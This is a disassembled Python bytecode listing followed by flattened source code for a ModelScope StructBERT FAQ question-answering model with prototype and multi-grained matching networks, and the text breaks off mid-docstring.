LOAD_FAST z_support LOAD_FAST support_mask CALL_METHOD UNPACK_SEQUENCE STORE_FAST ins_z_query STORE_FAST ins_z_support LOAD_FAST ins_z_query LOAD_FAST q_params LOAD_CONST 'ins_z_query' STORE_SUBSCR LOAD_FAST ins_z_support LOAD_FAST s_params LOAD_CONST 'ins_z_support' STORE_SUBSCR LOAD_FAST self LOAD_METHOD _class_level_interaction LOAD_FAST z_query LOAD_FAST query_mask LOAD_FAST z_support LOAD_FAST support_mask LOAD_FAST n_cls CALL_METHOD UNPACK_SEQUENCE STORE_FAST cls_z_query STORE_FAST cls_z_support LOAD_FAST cls_z_query LOAD_FAST q_params LOAD_CONST 'cls_z_query' STORE_SUBSCR LOAD_FAST cls_z_support LOAD_FAST s_params LOAD_CONST 'cls_z_support' STORE_SUBSCR LOAD_FAST self LOAD_METHOD safe_get LOAD_FAST self LOAD_ATTR EPISODE_LEVEL_INTERACTION LOAD_CONST True CALL_METHOD POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD _episode_level_interaction LOAD_FAST z_query LOAD_FAST query_mask LOAD_FAST z_support LOAD_FAST support_mask CALL_METHOD UNPACK_SEQUENCE STORE_FAST eps_z_query STORE_FAST eps_z_support LOAD_FAST eps_z_query LOAD_FAST q_params LOAD_CONST 'eps_z_query' STORE_SUBSCR LOAD_FAST eps_z_support LOAD_FAST s_params LOAD_CONST 'eps_z_support' STORE_SUBSCR LOAD_FAST self LOAD_ATTR _fuse_query LOAD_FAST z_query BUILD_TUPLE LOAD_FAST q_params CALL_FUNCTION STORE_FAST fused_z_query LOAD_FAST self LOAD_ATTR _fuse_support LOAD_FAST z_support BUILD_TUPLE LOAD_FAST s_params CALL_FUNCTION STORE_FAST fused_z_support LOAD_FAST query_mask LOAD_METHOD unsqueeze LOAD_CONST 1 CALL_METHOD LOAD_METHOD repeat LOAD_CONST 1 LOAD_FAST n_support LOAD_CONST 1 CALL_METHOD LOAD_METHOD view LOAD_FAST n_query LOAD_FAST n_support BINARY_MULTIPLY LOAD_FAST sent_len LOAD_CONST 1 CALL_METHOD STORE_FAST query_mask_expanded LOAD_FAST support_mask LOAD_METHOD unsqueeze LOAD_CONST 0 CALL_METHOD LOAD_METHOD repeat LOAD_FAST n_query LOAD_CONST 1 LOAD_CONST 1 CALL_METHOD LOAD_METHOD view LOAD_FAST n_query LOAD_FAST n_support BINARY_MULTIPLY LOAD_FAST sent_len LOAD_CONST 1 CALL_METHOD STORE_FAST support_mask_expanded LOAD_FAST self LOAD_METHOD pooling LOAD_FAST fused_z_query LOAD_FAST query_mask_expanded CALL_METHOD STORE_FAST Q LOAD_FAST self LOAD_METHOD pooling LOAD_FAST fused_z_support LOAD_FAST support_mask_expanded CALL_METHOD STORE_FAST S LOAD_FAST self LOAD_METHOD _instance_compare LOAD_FAST Q LOAD_FAST S LOAD_FAST n_query LOAD_FAST n_cls LOAD_FAST k_shot CALL_METHOD STORE_FAST matching_feature LOAD_FAST self LOAD_METHOD prediction LOAD_FAST matching_feature CALL_METHOD STORE_FAST logits LOAD_FAST logits LOAD_METHOD view LOAD_FAST n_query LOAD_FAST n_cls CALL_METHOD STORE_FAST logits LOAD_FAST logits LOAD_GLOBAL torch LOAD_METHOD sigmoid LOAD_FAST logits CALL_METHOD BUILD_TUPLE RETURN_VALUE LOAD_FAST Q LOAD_ATTR shape LOAD_CONST -1 BINARY_SUBSCR STORE_FAST z_dim LOAD_FAST S LOAD_METHOD view LOAD_FAST n_query LOAD_FAST n_cls LOAD_FAST k_shot BINARY_MULTIPLY LOAD_FAST z_dim CALL_METHOD STORE_FAST S LOAD_FAST Q LOAD_METHOD view LOAD_FAST n_query LOAD_FAST k_shot LOAD_FAST n_cls BINARY_MULTIPLY LOAD_FAST z_dim CALL_METHOD STORE_FAST Q LOAD_GLOBAL torch LOAD_ATTR cat LOAD_FAST Q LOAD_FAST S LOAD_FAST Q LOAD_FAST S BINARY_MULTIPLY LOAD_FAST Q LOAD_FAST S BINARY_SUBTRACT LOAD_METHOD abs CALL_METHOD BUILD_LIST LOAD_CONST -1 LOAD_CONST ('dim',) CALL_FUNCTION STORE_FAST cat_features LOAD_FAST self LOAD_METHOD instance_compare_layer LOAD_FAST cat_features CALL_METHOD STORE_FAST instance_matching_feature LOAD_FAST instance_matching_feature LOAD_METHOD view LOAD_FAST n_query LOAD_FAST n_cls LOAD_FAST k_shot LOAD_FAST z_dim CALL_METHOD STORE_FAST instance_matching_feature LOAD_FAST instance_matching_feature LOAD_METHOD mean LOAD_CONST 2 CALL_METHOD STORE_FAST cls_matching_feature_mean LOAD_FAST instance_matching_feature LOAD_METHOD max LOAD_CONST 2 CALL_METHOD UNPACK_SEQUENCE STORE_FAST cls_matching_feature_max STORE_FAST _ LOAD_GLOBAL torch LOAD_ATTR cat LOAD_FAST cls_matching_feature_mean LOAD_FAST cls_matching_feature_max BUILD_LIST LOAD_CONST -1 LOAD_CONST ('dim',) CALL_FUNCTION STORE_FAST cls_matching_feature LOAD_FAST cls_matching_feature RETURN_VALUE LOAD_FAST z_query LOAD_ATTR shape UNPACK_SEQUENCE STORE_FAST n_query STORE_FAST sent_len STORE_FAST z_dim LOAD_FAST z_support LOAD_ATTR shape LOAD_CONST 0 BINARY_SUBSCR STORE_FAST n_support LOAD_FAST z_query LOAD_METHOD unsqueeze LOAD_CONST 1 CALL_METHOD LOAD_METHOD repeat LOAD_CONST 1 LOAD_FAST n_support LOAD_CONST 1 LOAD_CONST 1 CALL_METHOD LOAD_METHOD view LOAD_FAST n_query LOAD_FAST n_support BINARY_MULTIPLY LOAD_FAST sent_len LOAD_FAST z_dim CALL_METHOD STORE_FAST z_query LOAD_FAST query_mask LOAD_METHOD unsqueeze LOAD_CONST 1 CALL_METHOD LOAD_METHOD repeat LOAD_CONST 1 LOAD_FAST n_support LOAD_CONST 1 CALL_METHOD LOAD_METHOD view LOAD_FAST n_query LOAD_FAST n_support BINARY_MULTIPLY LOAD_FAST sent_len LOAD_CONST 1 CALL_METHOD STORE_FAST query_mask LOAD_FAST z_support LOAD_METHOD unsqueeze LOAD_CONST 0 CALL_METHOD LOAD_METHOD repeat LOAD_FAST n_query LOAD_CONST 1 LOAD_CONST 1 LOAD_CONST 1 CALL_METHOD LOAD_METHOD view LOAD_FAST n_query LOAD_FAST n_support BINARY_MULTIPLY LOAD_FAST sent_len LOAD_FAST z_dim CALL_METHOD STORE_FAST z_support LOAD_FAST support_mask LOAD_METHOD unsqueeze LOAD_CONST 0 CALL_METHOD LOAD_METHOD repeat LOAD_FAST n_query LOAD_CONST 1 LOAD_CONST 1 LOAD_CONST 1 CALL_METHOD LOAD_METHOD view LOAD_FAST n_query LOAD_FAST n_support BINARY_MULTIPLY LOAD_FAST sent_len LOAD_CONST 1 CALL_METHOD STORE_FAST support_mask LOAD_FAST self LOAD_METHOD alignment LOAD_FAST z_query LOAD_FAST z_support LOAD_FAST query_mask LOAD_FAST support_mask CALL_METHOD STORE_FAST attn LOAD_GLOBAL F LOAD_ATTR softmax LOAD_FAST attn LOAD_CONST 1 LOAD_CONST ('dim',) CALL_FUNCTION STORE_FAST attn_a LOAD_GLOBAL F LOAD_ATTR softmax LOAD_FAST attn LOAD_CONST 2 LOAD_CONST ('dim',) CALL_FUNCTION STORE_FAST attn_b LOAD_GLOBAL torch LOAD_METHOD matmul LOAD_FAST attn_a LOAD_METHOD transpose LOAD_CONST 1 LOAD_CONST 2 CALL_METHOD LOAD_FAST z_query CALL_METHOD STORE_FAST ins_support LOAD_GLOBAL torch LOAD_METHOD matmul LOAD_FAST attn_b LOAD_FAST z_support CALL_METHOD STORE_FAST ins_query LOAD_FAST ins_query LOAD_FAST ins_support BUILD_TUPLE RETURN_VALUE LOAD_FAST z_support STORE_FAST z_support_ori LOAD_FAST support_mask STORE_FAST support_mask_ori LOAD_FAST z_query LOAD_ATTR shape UNPACK_SEQUENCE STORE_FAST n_query STORE_FAST sent_len STORE_FAST z_dim LOAD_FAST z_support LOAD_ATTR shape LOAD_CONST 0 BINARY_SUBSCR STORE_FAST n_support LOAD_FAST n_support LOAD_FAST n_cls BINARY_FLOOR_DIVIDE STORE_FAST k_shot LOAD_FAST z_query LOAD_METHOD unsqueeze LOAD_CONST 1 CALL_METHOD LOAD_METHOD repeat LOAD_CONST 1 LOAD_FAST n_cls LOAD_CONST 1 LOAD_CONST 1 CALL_METHOD LOAD_METHOD view LOAD_FAST n_query LOAD_FAST n_cls BINARY_MULTIPLY LOAD_FAST sent_len LOAD_FAST z_dim CALL_METHOD STORE_FAST z_query LOAD_FAST query_mask LOAD_METHOD unsqueeze LOAD_CONST 1 CALL_METHOD LOAD_METHOD unsqueeze LOAD_CONST -1 CALL_METHOD LOAD_METHOD repeat LOAD_CONST 1 LOAD_FAST n_cls LOAD_CONST 1 LOAD_CONST 1 CALL_METHOD LOAD_METHOD view LOAD_FAST n_query LOAD_FAST n_cls BINARY_MULTIPLY LOAD_FAST sent_len LOAD_CONST 1 CALL_METHOD STORE_FAST query_mask LOAD_FAST z_support LOAD_METHOD unsqueeze LOAD_CONST 0 CALL_METHOD LOAD_METHOD repeat LOAD_FAST n_query LOAD_CONST 1 LOAD_CONST 1 LOAD_CONST 1 CALL_METHOD LOAD_METHOD view LOAD_FAST n_query LOAD_FAST n_cls BINARY_MULTIPLY LOAD_FAST k_shot LOAD_FAST sent_len BINARY_MULTIPLY LOAD_FAST z_dim CALL_METHOD STORE_FAST z_support LOAD_FAST support_mask LOAD_METHOD unsqueeze LOAD_CONST 0 CALL_METHOD LOAD_METHOD unsqueeze LOAD_CONST -1 CALL_METHOD LOAD_METHOD repeat LOAD_FAST n_query LOAD_CONST 1 LOAD_CONST 1 LOAD_CONST 1 CALL_METHOD LOAD_METHOD view LOAD_FAST n_query LOAD_FAST n_cls BINARY_MULTIPLY LOAD_FAST k_shot LOAD_FAST sent_len BINARY_MULTIPLY LOAD_CONST 1 CALL_METHOD STORE_FAST support_mask LOAD_FAST self LOAD_METHOD alignment LOAD_FAST z_query LOAD_FAST z_support LOAD_FAST query_mask LOAD_FAST support_mask CALL_METHOD STORE_FAST attn LOAD_GLOBAL F LOAD_ATTR softmax LOAD_FAST attn LOAD_CONST 2 LOAD_CONST ('dim',) CALL_FUNCTION STORE_FAST attn_b LOAD_GLOBAL torch LOAD_METHOD matmul LOAD_FAST attn_b LOAD_FAST z_support CALL_METHOD STORE_FAST cls_query LOAD_FAST cls_query LOAD_METHOD view LOAD_FAST n_query LOAD_FAST n_cls LOAD_FAST sent_len LOAD_FAST z_dim CALL_METHOD STORE_FAST cls_query LOAD_FAST z_support_ori LOAD_METHOD view LOAD_FAST n_cls LOAD_FAST k_shot LOAD_FAST sent_len BINARY_MULTIPLY LOAD_FAST z_dim CALL_METHOD STORE_FAST z_support LOAD_FAST support_mask_ori LOAD_METHOD view LOAD_FAST n_cls LOAD_FAST k_shot LOAD_FAST sent_len BINARY_MULTIPLY LOAD_CONST 1 CALL_METHOD STORE_FAST support_mask LOAD_FAST self LOAD_METHOD alignment LOAD_FAST z_support LOAD_FAST z_support LOAD_FAST support_mask LOAD_FAST support_mask CALL_METHOD STORE_FAST attn LOAD_GLOBAL F LOAD_ATTR softmax LOAD_FAST attn LOAD_CONST 2 LOAD_CONST ('dim',) CALL_FUNCTION STORE_FAST attn_b LOAD_GLOBAL torch LOAD_METHOD matmul LOAD_FAST attn_b LOAD_FAST z_support CALL_METHOD STORE_FAST cls_support LOAD_FAST cls_support LOAD_METHOD view LOAD_FAST n_cls LOAD_FAST k_shot BINARY_MULTIPLY LOAD_FAST sent_len LOAD_FAST z_dim CALL_METHOD STORE_FAST cls_support LOAD_FAST cls_query LOAD_FAST cls_support BUILD_TUPLE RETURN_VALUE LOAD_FAST z_support STORE_FAST z_support_ori LOAD_FAST support_mask STORE_FAST support_mask_ori LOAD_FAST z_query LOAD_ATTR shape UNPACK_SEQUENCE STORE_FAST n_query STORE_FAST sent_len STORE_FAST z_dim LOAD_FAST z_support LOAD_ATTR shape LOAD_CONST 0 BINARY_SUBSCR STORE_FAST n_support LOAD_FAST query_mask LOAD_METHOD view LOAD_FAST n_query LOAD_FAST sent_len LOAD_CONST 1 CALL_METHOD STORE_FAST query_mask LOAD_FAST z_support LOAD_METHOD unsqueeze LOAD_CONST 0 CALL_METHOD LOAD_METHOD repeat LOAD_FAST n_query LOAD_CONST 1 LOAD_CONST 1 LOAD_CONST 1 CALL_METHOD LOAD_METHOD view LOAD_FAST n_query LOAD_FAST n_support LOAD_FAST sent_len BINARY_MULTIPLY LOAD_FAST z_dim CALL_METHOD STORE_FAST z_support LOAD_FAST support_mask LOAD_METHOD unsqueeze LOAD_CONST 0 CALL_METHOD LOAD_METHOD unsqueeze LOAD_CONST -1 CALL_METHOD LOAD_METHOD repeat LOAD_FAST n_query LOAD_CONST 1 LOAD_CONST 1 LOAD_CONST 1 CALL_METHOD LOAD_METHOD view LOAD_FAST n_query LOAD_FAST n_support LOAD_FAST sent_len BINARY_MULTIPLY LOAD_CONST 1 CALL_METHOD STORE_FAST support_mask LOAD_FAST self LOAD_METHOD alignment LOAD_FAST z_query LOAD_FAST z_support LOAD_FAST query_mask LOAD_FAST support_mask CALL_METHOD STORE_FAST attn LOAD_GLOBAL F LOAD_ATTR softmax LOAD_FAST attn LOAD_CONST 2 LOAD_CONST ('dim',) CALL_FUNCTION STORE_FAST attn_b LOAD_GLOBAL torch LOAD_METHOD matmul LOAD_FAST attn_b LOAD_FAST z_support CALL_METHOD STORE_FAST eps_query LOAD_FAST z_support_ori LOAD_METHOD view LOAD_CONST 1 LOAD_FAST n_support LOAD_FAST sent_len BINARY_MULTIPLY LOAD_FAST z_dim CALL_METHOD LOAD_METHOD repeat LOAD_FAST n_support LOAD_CONST 1 LOAD_CONST 1 CALL_METHOD STORE_FAST z_support2 LOAD_FAST support_mask_ori LOAD_METHOD view LOAD_CONST 1 LOAD_FAST n_support LOAD_FAST sent_len BINARY_MULTIPLY LOAD_CONST 1 CALL_METHOD LOAD_METHOD repeat LOAD_FAST n_support LOAD_CONST 1 LOAD_CONST 1 CALL_METHOD STORE_FAST support_mask LOAD_FAST self LOAD_METHOD alignment LOAD_FAST z_support_ori LOAD_FAST z_support2 LOAD_FAST support_mask_ori LOAD_METHOD unsqueeze LOAD_CONST -1 CALL_METHOD LOAD_FAST support_mask CALL_METHOD STORE_FAST attn LOAD_GLOBAL F LOAD_ATTR softmax LOAD_FAST attn LOAD_CONST 2 LOAD_CONST ('dim',) CALL_FUNCTION STORE_FAST attn_b LOAD_GLOBAL torch LOAD_METHOD matmul LOAD_FAST attn_b LOAD_FAST z_support2 CALL_METHOD STORE_FAST eps_support LOAD_FAST eps_support LOAD_METHOD view LOAD_FAST n_support LOAD_FAST sent_len LOAD_FAST z_dim CALL_METHOD STORE_FAST eps_support LOAD_FAST eps_query LOAD_FAST eps_support BUILD_TUPLE RETURN_VALUE LOAD_FAST x LOAD_ATTR shape UNPACK_SEQUENCE STORE_FAST n_query STORE_FAST sent_len STORE_FAST z_dim LOAD_FAST cls_z_query LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST cls_z_query LOAD_METHOD unsqueeze LOAD_CONST 2 CALL_METHOD LOAD_METHOD repeat LOAD_CONST 1 LOAD_CONST 1 LOAD_FAST k_shot LOAD_CONST 1 LOAD_CONST 1 CALL_METHOD LOAD_METHOD view LOAD_FAST n_cls LOAD_FAST k_shot BINARY_MULTIPLY LOAD_FAST n_query BINARY_MULTIPLY LOAD_FAST sent_len LOAD_FAST z_dim CALL_METHOD STORE_FAST cls_features LOAD_FAST x LOAD_METHOD unsqueeze LOAD_CONST 1 CALL_METHOD LOAD_METHOD repeat LOAD_CONST 1 LOAD_FAST n_cls LOAD_FAST k_shot BINARY_MULTIPLY LOAD_CONST 1 LOAD_CONST 1 CALL_METHOD LOAD_METHOD view LOAD_FAST n_cls LOAD_FAST k_shot BINARY_MULTIPLY LOAD_FAST n_query BINARY_MULTIPLY LOAD_FAST sent_len LOAD_FAST z_dim CALL_METHOD STORE_FAST x LOAD_FAST x LOAD_FAST cls_features LOAD_FAST x LOAD_FAST cls_features BINARY_MULTIPLY LOAD_FAST x LOAD_FAST cls_features BINARY_SUBTRACT LOAD_METHOD abs CALL_METHOD BUILD_LIST STORE_FAST features LOAD_FAST ins_z_query LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST features LOAD_METHOD extend LOAD_FAST ins_z_query LOAD_FAST ins_z_query LOAD_FAST x BINARY_MULTIPLY LOAD_FAST ins_z_query LOAD_FAST x BINARY_SUBTRACT LOAD_METHOD abs CALL_METHOD BUILD_LIST CALL_METHOD POP_TOP LOAD_FAST eps_z_query LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST eps_z_query LOAD_METHOD unsqueeze LOAD_CONST 1 CALL_METHOD LOAD_METHOD repeat LOAD_CONST 1 LOAD_FAST n_cls LOAD_FAST k_shot BINARY_MULTIPLY LOAD_CONST 1 LOAD_CONST 1 CALL_METHOD LOAD_METHOD view LOAD_FAST n_cls LOAD_FAST k_shot BINARY_MULTIPLY LOAD_FAST n_query BINARY_MULTIPLY LOAD_FAST sent_len LOAD_FAST z_dim CALL_METHOD STORE_FAST eps_z_query LOAD_FAST features LOAD_METHOD extend LOAD_FAST eps_z_query LOAD_FAST eps_z_query LOAD_FAST x BINARY_MULTIPLY LOAD_FAST eps_z_query LOAD_FAST x BINARY_SUBTRACT LOAD_METHOD abs CALL_METHOD BUILD_LIST CALL_METHOD POP_TOP LOAD_GLOBAL torch LOAD_ATTR cat LOAD_FAST features LOAD_CONST -1 LOAD_CONST ('dim',) CALL_FUNCTION STORE_FAST features LOAD_FAST self LOAD_METHOD fuse_proj LOAD_FAST features CALL_METHOD STORE_FAST fusion_feat LOAD_FAST fusion_feat RETURN_VALUE LOAD_FAST cls_z_support LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST x LOAD_ATTR shape UNPACK_SEQUENCE STORE_FAST n_support STORE_FAST sent_len STORE_FAST z_dim LOAD_FAST x LOAD_METHOD unsqueeze LOAD_CONST 0 CALL_METHOD LOAD_METHOD repeat LOAD_FAST n_query LOAD_CONST 1 LOAD_CONST 1 LOAD_CONST 1 CALL_METHOD LOAD_METHOD view LOAD_FAST n_support LOAD_FAST n_query BINARY_MULTIPLY LOAD_FAST sent_len LOAD_FAST z_dim CALL_METHOD STORE_FAST x LOAD_FAST cls_z_support LOAD_METHOD unsqueeze LOAD_CONST 0 CALL_METHOD LOAD_METHOD repeat LOAD_FAST n_query LOAD_CONST 1 LOAD_CONST 1 LOAD_CONST 1 CALL_METHOD LOAD_METHOD view LOAD_FAST n_support LOAD_FAST n_query BINARY_MULTIPLY LOAD_FAST sent_len LOAD_FAST z_dim CALL_METHOD STORE_FAST cls_features LOAD_FAST x LOAD_FAST cls_features LOAD_FAST x LOAD_FAST cls_features BINARY_MULTIPLY LOAD_FAST x LOAD_FAST cls_features BINARY_SUBTRACT LOAD_METHOD abs CALL_METHOD BUILD_LIST STORE_FAST features LOAD_FAST ins_z_support LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST features LOAD_METHOD extend LOAD_FAST ins_z_support LOAD_FAST ins_z_support LOAD_FAST x BINARY_MULTIPLY LOAD_FAST ins_z_support LOAD_FAST x BINARY_SUBTRACT LOAD_METHOD abs CALL_METHOD BUILD_LIST CALL_METHOD POP_TOP LOAD_FAST eps_z_support LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST eps_z_support LOAD_METHOD unsqueeze LOAD_CONST 0 CALL_METHOD LOAD_METHOD repeat LOAD_FAST n_query LOAD_CONST 1 LOAD_CONST 1 LOAD_CONST 1 CALL_METHOD LOAD_METHOD view LOAD_FAST n_query LOAD_FAST n_support BINARY_MULTIPLY LOAD_FAST sent_len LOAD_FAST z_dim CALL_METHOD STORE_FAST eps_z_support LOAD_FAST features LOAD_METHOD extend LOAD_FAST eps_z_support LOAD_FAST eps_z_support LOAD_FAST x BINARY_MULTIPLY LOAD_FAST eps_z_support LOAD_FAST x BINARY_SUBTRACT LOAD_METHOD abs CALL_METHOD BUILD_LIST CALL_METHOD POP_TOP LOAD_GLOBAL torch LOAD_ATTR cat LOAD_FAST features LOAD_CONST -1 LOAD_CONST ('dim',) CALL_FUNCTION STORE_FAST features LOAD_FAST self LOAD_METHOD fuse_proj LOAD_FAST features CALL_METHOD STORE_FAST fusion_feat LOAD_FAST fusion_feat RETURN_VALUE LOAD_FAST query LOAD_ATTR shape LOAD_CONST 0 BINARY_SUBSCR STORE_FAST n_query LOAD_FAST support LOAD_ATTR shape LOAD_CONST 0 BINARY_SUBSCR STORE_FAST n_support LOAD_GLOBAL torch LOAD_ATTR cat LOAD_FAST query LOAD_FAST support BUILD_LIST LOAD_CONST 0 LOAD_CONST ('dim',) CALL_FUNCTION STORE_FAST x LOAD_GLOBAL torch LOAD_ATTR cat LOAD_FAST query_mask LOAD_FAST support_mask BUILD_LIST LOAD_CONST 0 LOAD_CONST ('dim',) CALL_FUNCTION STORE_FAST x_mask LOAD_FAST self LOAD_METHOD bert LOAD_FAST x LOAD_FAST x_mask CALL_METHOD LOAD_ATTR last_hidden_state STORE_FAST last_hidden_state LOAD_FAST last_hidden_state LOAD_ATTR shape LOAD_CONST -1 BINARY_SUBSCR STORE_FAST z_dim LOAD_FAST last_hidden_state LOAD_ATTR shape LOAD_CONST -2 BINARY_SUBSCR STORE_FAST sent_len LOAD_FAST last_hidden_state LOAD_CONST None LOAD_FAST n_query BUILD_SLICE BINARY_SUBSCR LOAD_METHOD view LOAD_FAST n_query LOAD_FAST sent_len LOAD_FAST z_dim BUILD_LIST CALL_METHOD STORE_FAST z_query LOAD_FAST last_hidden_state LOAD_FAST n_query LOAD_CONST None BUILD_SLICE BINARY_SUBSCR LOAD_METHOD view LOAD_FAST n_support LOAD_FAST sent_len LOAD_FAST z_dim BUILD_LIST CALL_METHOD STORE_FAST z_support LOAD_FAST z_query LOAD_FAST z_support BUILD_TUPLE RETURN_VALUE LOAD_FAST inputs LOAD_CONST 'input_ids' BINARY_SUBSCR STORE_FAST input_ids LOAD_FAST inputs LOAD_CONST 'attention_mask' BINARY_SUBSCR STORE_FAST input_mask LOAD_GLOBAL isinstance LOAD_FAST input_ids LOAD_GLOBAL Tensor CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL torch LOAD_METHOD IntTensor LOAD_FAST input_ids CALL_METHOD STORE_FAST input_ids LOAD_GLOBAL isinstance LOAD_FAST input_mask LOAD_GLOBAL Tensor CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL torch LOAD_METHOD IntTensor LOAD_FAST input_mask CALL_METHOD STORE_FAST input_mask LOAD_FAST self LOAD_METHOD bert LOAD_FAST input_ids LOAD_FAST input_mask CALL_METHOD STORE_FAST rst LOAD_FAST rst LOAD_ATTR last_hidden_state STORE_FAST last_hidden_states LOAD_GLOBAL len LOAD_FAST input_mask LOAD_ATTR shape CALL_FUNCTION LOAD_CONST 2 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST input_mask LOAD_METHOD unsqueeze LOAD_CONST -1 CALL_METHOD STORE_FAST input_mask LOAD_FAST self LOAD_METHOD avg_pooling LOAD_FAST last_hidden_states LOAD_FAST input_mask CALL_METHOD STORE_FAST pooled_representation LOAD_FAST pooled_representation RETURN_VALUE SETUP_EXCEPT to 16 LOAD_FAST self LOAD_ATTR model_config LOAD_METHOD get LOAD_FAST k LOAD_FAST default CALL_METHOD RETURN_VALUE DUP_TOP LOAD_GLOBAL Exception COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP STORE_FAST e POP_TOP SETUP_FINALLY to 66 LOAD_GLOBAL logger LOAD_METHOD debug LOAD_FAST k FORMAT_VALUE LOAD_CONST ' not in model_config, use default:' LOAD_FAST default FORMAT_VALUE BUILD_STRING CALL_METHOD POP_TOP LOAD_GLOBAL logger LOAD_METHOD debug LOAD_FAST e CALL_METHOD POP_TOP LOAD_FAST default RETURN_VALUE LOAD_CONST None STORE_FAST e DELETE_FAST e END_FINALLY POP_EXCEPT JUMP_FORWARD to 80 END_FINALLY LOAD_CONST None RETURN_VALUE
import math import os from collections import namedtuple from typing import Dict import torch import torch.nn as nn import torch.nn.functional as F from torch import Tensor from torch.nn import BCEWithLogitsLoss from modelscope.metainfo import Models from modelscope.models.builder import MODELS from modelscope.models.nlp.structbert import SbertConfig, SbertModel from modelscope.models.nlp.task_models.task_model import BaseTaskModel from modelscope.outputs import FaqQuestionAnsweringOutput from modelscope.utils.config import Config, ConfigFields from modelscope.utils.constant import ModelFile, Tasks from modelscope.utils.logger import get_logger logger = get_logger() activations = { "relu": F.relu, "tanh": torch.tanh, "linear": lambda x: x, } activation_coeffs = { "relu": math.sqrt(2), "tanh": 5 / 3, "linear": 1.0, } class LinearProjection(nn.Module): def __init__(self, in_features, out_features, activation="linear", bias=True): super().__init__() self.activation = activations[activation] activation_coeff = activation_coeffs[activation] linear = nn.Linear(in_features, out_features, bias=bias) nn.init.normal_( linear.weight, std=math.sqrt(1.0 / in_features) * activation_coeff ) if bias: nn.init.zeros_(linear.bias) self.model = nn.utils.weight_norm(linear) def forward(self, x): return self.activation(self.model(x)) class RelationModule(nn.Module): def __init__(self, args): super(RelationModule, self).__init__() input_size = args.proj_hidden_size * 4 self.prediction = torch.nn.Sequential( LinearProjection(input_size, args.proj_hidden_size * 4, activation="relu"), nn.Dropout(args.dropout), LinearProjection(args.proj_hidden_size * 4, 1), ) def forward(self, query, protos): n_cls = protos.shape[0] n_query = query.shape[0] protos = protos.unsqueeze(0).repeat(n_query, 1, 1) query = query.unsqueeze(1).repeat(1, n_cls, 1) input_feat = torch.cat( [query, protos, (protos - query).abs(), query * protos], dim=-1 ) dists = self.prediction(input_feat) # [bsz,n_query,n_cls,1] return dists.squeeze(-1) class MetricsLayer(nn.Module): def __init__(self, args): super(MetricsLayer, self).__init__() self.args = args assert args.metrics in ("relation", "cosine") if args.metrics == "relation": self.relation_net = RelationModule(args) @property def name(self): return self.args.metrics def forward(self, query, protos): if self.args.metrics == "cosine": supervised_dists = self.cosine_similarity(query, protos) if self.training: supervised_dists *= 5 elif self.args.metrics in ("relation",): supervised_dists = self.relation_net(query, protos) else: raise NotImplementedError return supervised_dists def cosine_similarity(self, x, y): n_query = x.shape[0] n_cls = y.shape[0] dim = x.shape[-1] x = x.unsqueeze(1).expand([n_query, n_cls, dim]) y = y.unsqueeze(0).expand([n_query, n_cls, dim]) return F.cosine_similarity(x, y, -1) class AveragePooling(nn.Module): def forward(self, x, mask, dim=1): return torch.sum(x * mask.float(), dim=dim) / torch.sum(mask.float(), dim=dim) class AttnPooling(nn.Module): def __init__(self, input_size, hidden_size=None, output_size=None): super().__init__() self.input_proj = nn.Sequential( LinearProjection(input_size, hidden_size), nn.Tanh(), LinearProjection(hidden_size, 1, bias=False), ) self.output_proj = ( LinearProjection(input_size, output_size) if output_size else lambda x: x ) def forward(self, x, mask): score = self.input_proj(x) score = score * mask.float() + -1e4 * (1.0 - mask.float()) score = F.softmax(score, dim=1) features = self.output_proj(x) return torch.matmul(score.transpose(1, 2), features).squeeze(1) class PoolingLayer(nn.Module): def __init__(self, args): super(PoolingLayer, self).__init__() if args.pooling == "attn": self.pooling = AttnPooling( args.proj_hidden_size, args.proj_hidden_size, args.proj_hidden_size ) elif args.pooling == "avg": self.pooling = AveragePooling() else: raise NotImplementedError(args.pooling) def forward(self, x, mask): return self.pooling(x, mask) class Alignment(nn.Module): def __init__(self): super().__init__() def _attention(self, a, b): return torch.matmul(a, b.transpose(1, 2)) def forward(self, a, b, mask_a, mask_b): attn = self._attention(a, b) mask = torch.matmul(mask_a.float(), mask_b.transpose(1, 2).float()) mask = mask.bool() attn.masked_fill_(~mask, -1e4) return attn def _create_args(model_config, hidden_size): metric = model_config.get("metric", "cosine") pooling_method = model_config.get("pooling", "avg") Arg = namedtuple( "args", ["metrics", "proj_hidden_size", "hidden_size", "dropout", "pooling"] ) args = Arg( metrics=metric, proj_hidden_size=hidden_size, hidden_size=hidden_size, dropout=0.0, pooling=pooling_method, ) return args @MODELS.register_module(Tasks.faq_question_answering, module_name=Models.structbert) class SbertForFaqQuestionAnswering(BaseTaskModel): _backbone_prefix = "" PROTO_NET = "protonet" MGIMN_NET = "mgimnnet" @classmethod def _instantiate(cls, **kwargs): model_dir = kwargs.pop("model_dir") model = cls(model_dir, **kwargs) model.load_checkpoint(model_dir) return model def __init__(self, model_dir, *args, **kwargs): super().__init__(model_dir, *args, **kwargs) backbone_cfg = SbertConfig.from_pretrained(model_dir) model_config = Config.from_file( os.path.join(model_dir, ModelFile.CONFIGURATION) ).get(ConfigFields.model, {}) model_config.update(kwargs) network_name = model_config.get("network", self.PROTO_NET) if network_name == self.PROTO_NET: network = ProtoNet(backbone_cfg, model_config) elif network_name == self.MGIMN_NET: network = MGIMNNet(backbone_cfg, model_config) else: raise NotImplementedError(network_name) logger.info(f"faq task build {network_name} network") self.network = network def forward(self, input: Dict[str, Tensor]) -> FaqQuestionAnsweringOutput: """ Args: input (Dict[str, Tensor]): the preprocessed data, it contains the following keys: - query(:obj:`torch.LongTensor` of shape :obj:`(batch_size, sequence_length)`): The query to be predicted. - support(:obj:`torch.LongTensor` of shape :obj:`(support_size, sequence_length)`): The support set. - support_label(:obj:`torch.LongTensor` of shape :obj:`(support_size, )`): The labels of support set. Returns: Dict[str, Tensor]: result, it contains the following key: - 